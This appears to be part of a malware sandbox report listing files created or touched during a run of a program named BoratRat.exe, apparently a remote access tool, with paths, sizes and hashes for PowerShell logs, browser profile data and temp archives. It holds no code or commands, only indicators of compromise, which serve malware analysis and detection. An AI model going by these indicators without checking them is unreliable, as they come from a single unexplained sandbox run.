Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
Size 4B
SHA256 7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
MD5 f49655f856acb8884cc0ace29216f511
SHA1 cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA512 599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8
MD5 SHA1 SHA512

Submit Download

F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
Size 944B
SHA256 878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d
MD5 6bd369f7c74a28194c991ed1404da30f
SHA1 0f8e3f8ab822c9374409fe399b6bfe5d68cbd643
SHA512 8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93
TLSH
T18811924A3AC71DB8F37A6D71006991242202B2275CC2D61C4AC4C6A98B35618E476FA8
MD5 SHA1 SHA512 TLSH

Submit Download

BoratRat.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\BoratRat.exe.log
Size 1KB
SHA256 cc9248a177495f45ec70b86c34fc5746c56730af36ace98ac7eb365dbafda674
MD5 b08c36ce99a5ed11891ef6fc6d8647e9
SHA1 db95af417857221948eb1882e60f98ab2914bf1d
SHA512 07e62581eace395b0a9699d727761648103180c21155d84ea09140f9e1c9690705c419118545aa67a564334bbde32710225fe3aa92b0b4b4210cb91f0058b1ea
TLSH
T17821CD7032B6A1D489063F460C6D65C407FF4329B950AE0C7AAC625EDD2B0175F313F2
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b254694891c8c9da1394c3c469cee50f145c72582e6d1cf0045cab4e72f48e7f
MD5 87c29700d926d094566f97a4ca94661f
SHA1 edbc46e5510447273bbaae1a5d13e6984b003594
SHA512 0c6ba3544daa14af98f338fa24d01624f9e93f9633b2bd6b4c031f7f1ecd4265dddde4469a8b96e81d802401ec8f3ba1d0120afe53ee6fa5345f9f3f7ab94290
TLSH
T12B61DB313275B0E4C95A7F47192819C063BF8395FA98AF5CB65C521EE92740B9B223F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ff6b3e2023c4c87a3f2ecb0aa72109680aa27a54baf03a80490bfac855cc4fd1
MD5 bf5851af82b6bfd13bb4c1242bdce5e3
SHA1 6aaa7b7904050cdb720da407eea8c0e39cac9288
SHA512 f8b469ad641392680a4ba2d4c520b30d2519528efd1ddfd614d1e03de4f213e43a3a99044d097b9c7eeebf42731cf3d9e3e08928babb489f48dcf659c32957d8
TLSH
T1A6214627B3DDC591CC89523B008C8C6075A7D7C7809A9FDB6EC4C508A07F698DB21250
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 445cdabf275f722d025749ef567f2972c4dc4c3725e5dd021267043f076e9228
MD5 aa3b51c7cfba7dd8ca43f0ea73ffaf05
SHA1 fb7babe8f99800341debafa66363a435b61fa63b
SHA512 13b89d708a8ab3a64f3a4c2786646955e398c60544234fb2bbcc09bfe25f7ff4a8dedd78ac5ed26f6b6be3fc61a975073d2d886834cb0f760f845a6f36dc310b
TLSH
T18E214323B3DDC961CC89463B008C8D6076B6D7C7809E9F9B7EC4C509A07F699DB21294
MD5 SHA1 SHA512 TLSH

Submit Download

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\activity-stream.contile.json
Size 4KB
SHA256 68f7eea29211b20b842c9aa81faf495f0d515ff6c659f06a9a66a0c6c505a03c
MD5 9c0157e2f009d0fa0cf018e0930d174f
SHA1 726ce87492213a9266c3bfe1133ba186a5205e3c
SHA512 3e2846bdb970dec3fc9e83af900cc08d6d1caf27874ccb1a1eecfb48e15c827fe6e90332fe678ee91df941e524376b8ea6f5f35c9cf8fe800ae139381fdeabe5
SSDEEP 96:KeQJtPJQ3Aj18dxjV8DlAkoplVv6tlYcT+mRr8ol:KegtPJQ3medVCl3slVitlemRr8ol
TLSH
T1D8A1FADB9C609453472263F03C0E275DF14BB45AF9E5DA89B66DCC02E29424B40EA5C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F58F0605C722D0D848D03D88AC8E3E50223F57B0

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\cache2\entries\F58F0605C722D0D848D03D88AC8E3E50223F57B0
Size 13KB
SHA256 d49b406d9e07208815fe923a89b6a4b6a5e11453c49492155ea01d08210254c0
MD5 55ea42ca085efbe9648892c6752dadfc
SHA1 48c22837de13be137e3ca6318dcac4749270b3b5
SHA512 01d1a99af3e863f37c40335a7896e2e6da10f4d324ec9d5fd4e08dd19d23851dcfe543afa2b50b3154844cb7ec1f85d2df178cc49cf15429c8411e81b1bc227d
SSDEEP 384:HHMO0iO024YTo6J+Sl1xDnZBPsac4j0lpDII+4Nwh/:nrZYTo0+Sl7zZlsac4ID8LX
TLSH
T11E528DBD9F1138E91E17D194D9BE92548E08F6BFDFE2806606543C04CA447B8F4E64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

user.config

Path C:\Users\Admin\AppData\Local\Server\BoratRat.exe_Url_krw311a3ftcdmze5hek1m4bkw32a3zns\1.0.7.0\user.config
Size 309B
SHA256 a9539ba4eae9035b2ff715f0e755aa772b499d72ccab23af2bf5a2dc2bcfa41c
MD5 0c6e4f57ebaba0cc4acfc8bb65c589f8
SHA1 8c021c2371b87f2570d226b419c64c3102b8d434
SHA512 c6b877ff887d029e29bf35f53006b8c84704f73b74c616bf97696d06c6ef237dff85269bdf8dfb432457b031dd52410e2b883fd86c3f54b09f0a072a689a08c0
TLSH
T19FE05E0D91C04DAB4A724E31C7204641EFB02697803724B0BABD23330F708890BD37A1
MD5 SHA1 SHA512 TLSH

Submit Download

4bb68cf0-e267-4e0b-bef0-a8dfdd8dd3d8.zip

Path C:\Users\Admin\AppData\Local\Temp\4bb68cf0-e267-4e0b-bef0-a8dfdd8dd3d8.zip
Size 3.8MB
SHA256 c44b3eca6e0fbf8d79b6f4cab883d3eba4ed119c435ffa34ba50e56d884232d1
MD5 b5200d078f8b2382adb2cf94115075dc
SHA1 56d7779f809d1c82f7aeea543f2ea8688de55655
SHA512 5a80bc7b9992a3624bbc4823bc463e6d6eace61c4f8920319f70169d2bb78d89704988bcbdb340eb00ed4ae8430bfdee99bd08ef477404dcddd634a460cf6158
SSDEEP 98304:Gj7LiAFiMsxMtnvMtk0vcR2SrzuRJNMgO:2XXeYvMtk0vcR2kzGMgO
TLSH
T1D206F135D69F1A09CDCF83BBC50F2FC2984C4FA68054A96BEA6AB9715CA31F61F44C44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_cs4tanf5.lmz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cs4tanf5.lmz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9555e0a39c585342a9c858c035371a42_eb73684e-0295-47a9-ab18-e1b68d93e136

Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4146128427-3460078792-3629963422-1000\9555e0a39c585342a9c858c035371a42_eb73684e-0295-47a9-ab18-e1b68d93e136
Size 1KB
SHA256 216ee926cd9f6d2a7b982ae2fb4b5ff9d4e2f6e4b76f94d903af7b166d981806
MD5 cd32e622eaaeeeff5b80d5f8da691a9d
SHA1 f04bdcb7a10c1862ee7ea281a416c25cdda68851
SHA512 ea76ed666e735033570a7e754c906aad3f3b875adf00d9664a84cf506dc2d2631e136c1b02b88520a3e1e854ea80fd3a3faf007d1d09158f3aba7af4571ff5db
TLSH
T14D31C966216930C3DB6C57B4575B8721C8C4C5B0A1AB848B6A8170A4571BF45E4BDFC7
MD5 SHA1 SHA512 TLSH

Submit Download

6824f4a902c78fbd.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Size 7KB
SHA256 f98fc26c3b574dea0f3fa12df841ff849af504c85f4b53286af563821a1bfe65
MD5 7369fe9dad7ff15c583aa799273b8748
SHA1 ca0b9c23630247e06df6dd3e687ce0282a16b41b
SHA512 9f086e22488cd6b17a52964065be72b1470fadb894baec9e90dbf34dc2c428c467b4f15f5e59296a1b1b1f21e9ed651b28c375db9698938e785914bbb03c5d14
SSDEEP 48:QsgdYi1J5UgdwPzxsHdYi1J/6BdwJxsJdYi1J/adwLtXsFdYi1JwCGiMBPiZMQqt:3O2O/PO/ROuNPia
TLSH
T1DCF1020127FB0755F5F39A327B3127126733FD014B1A561FC182528849367A496AAFEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6824f4a902c78fbd.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Size 7KB
SHA256 22ff68d4c3284e4748546a03fa1ce2fa72bf2f14ab1e07b79f32facf30b173f6
MD5 d5326bf67daae2a3b506a8b85ad1fde3
SHA1 8b28f78936e0579de7bdf510c1b3826c345292e2
SHA512 231c8428ce92444c3348d396942e41a0827c98e0d1069aaca5b9656a7760f573d726f78cbf989ba5c0cedb48633ff90599030ea91cb25402eb5b279d64637307
SSDEEP 48:msgdYi1J5UgdwPz7sHdYi1J/6BdwJ7sJdYi1J/adwLtxsFdYi1JwCGiMBPiZMQqt:tOMO/tO/nOuNPia
TLSH
T1D5F1020127FB0655F5F39A327B3127126733FD014B1A561FC1C2528849367A496AAFEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6824f4a902c78fbd.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms
Size 9KB
SHA256 560a517950e9f0e32c56ca4694b00152122ca801bf0217b463aa624dd87446dc
MD5 088ce0f6fcbca3c9349efd920c7e1a8a
SHA1 245a1b2e9ebc5ee312161321e4b39554bf1da308
SHA512 4a7aa540cdc0fab2af76cde1271ed707f318e2f20b6fd9860a4e8ec1b679184b485441b6f1a508e85a398c13710a16bf6abefc579856b47fd93fc561a252ca7f
SSDEEP 48:QsgdYi1J5UgdwPzBsHdYi1J/6BdwJBsJdYi1J/adwLtgsudYi1JyiwD3e+KldwLI:3OOO/PO/TOyO+hgOuNPia
TLSH
T1FC12010127FB0695F5F39A327B312712A733FE014B1A561FC182528849367A4966EFEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AlternateServices.bin

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\AlternateServices.bin
Size 6KB
SHA256 8f8c3ffa107ae280152cb6f7ddb0a42758743432f63140a59d50859b0cad4d2b
MD5 154999f8cb313d9da65fb5927a879f21
SHA1 aef5cf1e98ee264b0233073507852cdfbe49a5f1
SHA512 4c6ac0fae945bea2af04e6a98b5573888451705a5eed82c1c2776b5d837c3f619bdc8e0b2d7c57b26bbc3abde3112a71b30921d17a6bdf6030af9dc7ee291980
SSDEEP 24:BuhMZMgO+lzbr5lz+WN2c2dqz+cUxw2c2L91e+:K4Sxrdxb5
TLSH
T1EDD18CF763739135F1768FB1C05C344C8C23261A69BE81888721A0E342D7BA995AFF98
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 8cec7e95347a5163425e965033ed70f8ed91fbd9f44e85f9ff39f0bb19272109
MD5 371b04b47ef2197ed4fb25c21fe598e6
SHA1 4e1e9860333f974f93844272a68d8674a2696a69
SHA512 67a02f49e1e432e6be6b960c70349804577875c7a5b007e95655c3c26ae2de289cea56f0d88159f16fba7aeb812583c077a256be34bccf87c3a0d38bad471b0e
SSDEEP 96:+LFt2F0FJFe//dd66Joz1zgClKtmc0d/USSdF95/7bkW6BrvEHoyUR6TWI:z1d66Joz1zgCl6mc0dpOv5zboBMHoyjN
TLSH
T188C1EA68F629463BC448423BCDA61F400F32395BAC5E7F1A31DC640D2C5B69E7A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 e22568c3181364a756353d769883537d34d26c94658ceb36c20aafad65c0ae8b
MD5 d8384169a42b5057dc78a08cffcd7916
SHA1 9e54e631de9df5dfbe38a82496f86b87e7348d0b
SHA512 bc6aac42d5263a9783e7ad189724de80a218ae8ac6b0e08c398bd3dc8decfc59da552514f8d0990c9ea586239479564b9d1e2c9932ec3aa0b39b41e6397aa0eb
SSDEEP 192:wOv5zbotZHoyjMyM1d66Joz1zgCl6mc0dz:7botZHoyjqd66Joz1zgC1jd
TLSH
T10AE1EB65EA29863BC404427BCDA61F400F3A395B9C4E3F1A31DC64182C5B6DE369E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\db\data.safe.tmp
Size 58KB
SHA256 ce97904a870c0d19c2134812142bbeef13161bbc1e2d3c95f006333344046293
MD5 3313125903fc54c8ec9eca011613739b
SHA1 757560cdf6137644a89cb2abaf801a081a126719
SHA512 cc3f7624477ed7b02fadf35bdc50b92a397d61890f86c5d87071c4f71d0d725e8cadbaa01b86eb66c1e27cb6832d09e29c04339737d86864f49137dc95738803
SSDEEP 1536:J3BI+54TqqgQ5a7LFuLAh5QZYFIsQSiBrLR:J3HuuqbAFbQ2WhL/R
TLSH
T13C430144EB5E953FD82802BADC921B003F39F8895A1A2F67375C64786C872DC3D5E06E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\db\data.safe.tmp
Size 58KB
SHA256 53fec11be3dd211c43d5ae9ba7a0a581a350455d8f685ed121d5f2d70561f4d3
MD5 64a1d3be10f08dd81f951ca225e30f3b
SHA1 67247d93381da21b21506eb988591a8c94acba31
SHA512 fdb1f10c8c213ad9559a663051ae34d6605c6ad26d428fb4642256af5c032843ab810a8c26a3bbff4b704da33def3ac45b0a76e7909135c58f3dafe679863624
SSDEEP 1536:a3BI+54TqqgQ5a7LFuLAh5QZYFIsQSiBrLW:a3HuuqbAFbQ2WhL/W
TLSH
T16D430144EB5E953FD82802BADC961B003F39F8895A1A2F67375C64786C872DC3D5E06E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\db\data.safe.tmp
Size 61KB
SHA256 7f349779036d25385715a849210b9646790c0d41b27210d8e62b7a42b59780c3
MD5 c25556571ad7e302cccccb59c1d59907
SHA1 a9bfb5a6b772ad9915831cf13f8965c7ed55b53a
SHA512 803ef46d79c5189fce4c3d06e4e1069e32bef24e5644af0bc289259b6b2d1449f0f1dd20c5fe23ae4d06efe27ecff43945a20329ce20d41d696cc4aa02b1e7eb
SSDEEP 1536:hw2kWp0qpcdM93yz80o/1KA3dlmw1tlkUgv:hwSawcyK8YAtkQwLv
TLSH
T1D7530145EB1E953FD82802BADC961B103F39F8895A1A1F67371C64786C872DC3D5E06E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\events\events
Size 1KB
SHA256 c87c170fd1a980fd20dfc9f2b8a221712f2114913006fbaf4441e7f2b816394d
MD5 f587ce14e88dcfc3a0a4091ca7227828
SHA1 98b5cf725fb0d3d10e07fc359cf59a98009d41ab
SHA512 5c4b1737f2b7231a4eb05c3bb9761ec73b225e9c55a97c0d448a8cb6c0f4ae346fc32729cb0df07dd2dce103f06211c7a7c54b183abe7838dcd256aafac63082
TLSH
T1BF21CE9C39BA4E6A9DDBE69CB440028E53114F0714C71C430D23DF8CCDA6ADE326E8B8
MD5 SHA1 SHA512 TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\events\events
Size 5KB
SHA256 703a5af0f5995418a9056b8b142afaa04700a248b1a280ccdb35756488968b97
MD5 70a2a668b52ca0fe72b1108395fedae2
SHA1 3d86b31d559a411fa24e226f814fbe88296cb070
SHA512 fde5f8dd8a57cc25b6387cb72392741b6285b4ba2162d223c44b30293002aff691360e45c2b92079e31d1ecd1e632f43e1ff33c2304c7d94709d8f86508dcb23
SSDEEP 96:5XKQwp+97XHJ8wH9P9lfJdMqm8Na144RYcNu:5K+pHJ8wH97EuNQicNu
TLSH
T18FB1001C35BB1CBF6AEFD2A9F441029986994B0284CB1C474CE7CE88CD4B75A320F979
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

25fb1b0f-4aac-4afc-8d1c-35d3fbd08430

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\pending_pings\25fb1b0f-4aac-4afc-8d1c-35d3fbd08430
Size 235B
SHA256 9b32dd7de4b37d95f1ae6d4b6a30602782c0f05d31207aa880536ca87c8e3bce
MD5 ac740db87a07e49c5d388c0d282a7e96
SHA1 be5e3fd1ab66991dafed4ea79bdd7d66f74295a4
SHA512 addef41a547440e16ad3c9a2e9abcf1fdda44e7f4343c1c81e38cc1b8673fa3b42cc2565b04f224d9bb9fe372a331aa94750c7108bde94a508805c5ee6a540b0
TLSH
T1DED09780149C333C8C240F02F0E079C730884C3351B05860CA51A4748BBEEC402E2C07
MD5 SHA1 SHA512 TLSH

Submit Download

4578749a-011e-4de1-9ab8-79515a0e7147

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\pending_pings\4578749a-011e-4de1-9ab8-79515a0e7147
Size 886B
SHA256 622d429d2dec2797e13e251ed5322932c9e0384adc8696f25489e34296de5a06
MD5 6fcf1ffcf3135e544dec80e1eedf2d80
SHA1 8d9d9d63146117910997539bbc5d26e289a10d1e
SHA512 0ea06ab6f4b26fb6d6f6f3697a8e354f9edf46aa959ffc5e51650b708ebd027685a49bd1c924650cdc143573c73b401bf4ad6bf8a614c05d15ed7e0824b58268
TLSH
T1751100819A75B6F2CD68D29BC6D57B428FE43133D4C94C047D905E180DABA2E536660B
MD5 SHA1 SHA512 TLSH

Submit Download

8d335175-77ff-4cde-9d59-b1a4fba5f214

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\pending_pings\8d335175-77ff-4cde-9d59-b1a4fba5f214
Size 883B
SHA256 bb230370a60314a9df25cd77d7819512592f5876e944485d8ada31d819d00367
MD5 bfa33cce103491e842bc202b7c04244f
SHA1 aca36c79cee18645dc495af2183461eee3862b9a
SHA512 58062a50b093f232af9e44a34bcdac0acd306da7b51d721463e70bee61a34308fbbe0e1474263d4ec20af2ebdcce8c065ac213ae86833efecc50be12192b5a65
TLSH
T1731104819630B6B3CD64925BC65537034FE4352384C998043DE14D080D7F62D936674F
MD5 SHA1 SHA512 TLSH

Submit Download

bbf824ef-2600-4d59-bfee-0248e47e272d

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\pending_pings\bbf824ef-2600-4d59-bfee-0248e47e272d
Size 2KB
SHA256 d9baaf2c9dd47c726bbaffefd9cade25c0cbaa764ea02b94cbc27ae8c33409b6
MD5 f5a4cee0d5bc37dcbf24b7b59879268b
SHA1 587f50c202c2eac2ed789cfe940da6d4e4afb843
SHA512 b6057950504f8c37f95e5d841d4cb1491e3f6dc569230c379d01bc48d7adbd5ebb5cce91d4f8ca40bc075a7e3ab99c62cf2b84954891f80a1305a5656002b222
TLSH
T1C841316C35B85CB6CD9BF19ED491334E47508A0750C61C436D62DE0CCCDA6AA336A46B
MD5 SHA1 SHA512 TLSH

Submit Download

c585863b-9a2b-4591-a4af-7e28b4ca620f

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\pending_pings\c585863b-9a2b-4591-a4af-7e28b4ca620f
Size 235B
SHA256 018e68fdf18094750258514035ccac848c849dfa448aafceb10c6ff7d0e60501
MD5 ecdd0e411e229d79cc517e9f0726e04e
SHA1 bf95fb7ee4fd67686742305a61ae1fb9bdfd21ba
SHA512 e483a9309af4588a1f41c4d6254fd15a3046864ffc1ac7f50789caa06a2559dc307d557f883fe3613f38f3f1efee5ff0afe14a283ea0b1a268a4116204a0a121
TLSH
T128D097882498377D48000F0BF1A079CA70984C331474682096A104B889FD9CC42A1C07
MD5 SHA1 SHA512 TLSH

Submit Download

fe94165f-cf88-4f9d-b37d-61e2c8d425c6

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\datareporting\glean\pending_pings\fe94165f-cf88-4f9d-b37d-61e2c8d425c6
Size 16KB
SHA256 b4ac17236fca6798dec4447cec09e049e26746a3167f9909b11f21030e23ac01
MD5 5277611f68b49b74e9b022fdd6649de9
SHA1 56416de1e8203ca60b5f0a66f36b5d78a8907342
SHA512 3e44fcb7a952b3b1ac0a6b83d95097f9a1eaa7482d566e619309cdc7035d20f36c50fb03c83c7676a6b62b78514aab105f809a97852690ec3f80d32b1ee7d486
SSDEEP 192:e/vQYGGeauRCSihazMIoGdMo5vkkwSb3fSsdwTYn1M7KNDFQx14nWWBEEw1eN9Ci:ovAGeFRCSihaB7w0NDSxmnXXjCi
TLSH
T14D72DA16686045BA8791D39DD4E8BFC3E5F528CB4C418FCAD7E4BE086DDE0AE112784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\extensions.json
Size 16KB
SHA256 519cbe10db1f669b06c6463ff6fe256d828ba2d9bb5fe2bcdf859e3212897126
MD5 6afbebab13669abc6f4d181e4071f1e5
SHA1 668656f8f06815c5ed0089f84bf6c435adb72d3c
SHA512 a58ee627e0f6cf069aff8b78f321aefe416eb1f8fd63ece8fab03ec3ac135428132f760a46f7d16e5c74119f893980539107319da6919b1fc1f4b792e90b4569
SSDEEP 384:zkI4vW9UmldvHM8dhWa94zjD96oqL4HML4P2L4HuL4HGL4Hix4hg:QI4ARfVXn4J6D4m4U404M4+4e
TLSH
T19F72421545049E78294FA79AAA36BE01C37D533B60845C78F4DD8FC842FB5B902FB61B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\gmp-widevinecdm\4.10.2934.0\manifest.json
Size 1001B
SHA256 25ac9b79df29fa869b4c9f4ca3bdbc3a85f6122f5a8efab5a1216d577099becc
MD5 580786a5ec9eb650dde3e0e75db8588a
SHA1 8c0835d1a6bf82e753b624440e9674d649696ead
SHA512 c8d41e16b291157e2afbf978469eae4c017d1ce3b941b93ae710e2bbaaf4c3e601db45e579d22b957b7a1ec48cba788015725a2fa23cf02f2d66010ef4fdd0a0
TLSH
T100115B10DD388D9326E4BAA21CC6580957661DAF4CC23F98379E161D8F1C8AFA37366C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\gmp-widevinecdm\4.10.2934.0\widevinecdm.dll
Size 18.9MB
SHA256 875a76af5b19622842c9b37fe77dce10ee83f27adbdcfcde9c814d4e1226d023
MD5 15fa9ea03f6f451d587b1dabb2f7b036
SHA1 a1a5cf60b693f732931f8e7512627d2840023dee
SHA512 8d5e5aa0a116bb09dd492b6b59bcd9458ded013e6b52a31dd36e81313c3f2d9ea01d5bf3ec4b0f2593633a5313705af773a4e7245d6cfd96f231332db26d75ae
SSDEEP 393216:uD9xOHbGD+l8Vm148M/i5hE4/junbj0OjLFI/USFUzUqr1d4Pg4C5/:tGD+l8VmuZ/S24/junfSFwUqYg4A
TLSH
T13717E149E36310E8E80E89F446AADA72D4743C4E03369BEF17D4BB3559727C06A79F06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nw1cs7ok.default-release\prefs-1.js
Size 8KB
SHA256 d3767b65e079cbbb1bc72adfa2c88f95210577ee0a06f57a041d6f32fe509097
MD5 71515d1c29c8d39a2f10c76d6d862911
SHA1 89d08ef2b993c76285f29b06be1874320cc50332
SHA512 9b868014a171c6a240ab4566c21186a484ce507c2bcfa5d3f2b471c6aa5308f9100df6662abeb5122e039003d4fae2578c559d207c6933c6ac2fb734b73bc1ed
SSDEEP 96:xHgkUTUiqGq2fkc6ObzSZSSlNdv9jeTKn+H/vuXqBw885b8L4cn+rM:nVR2fkc6fSSCZnuaBw885E
TLSH
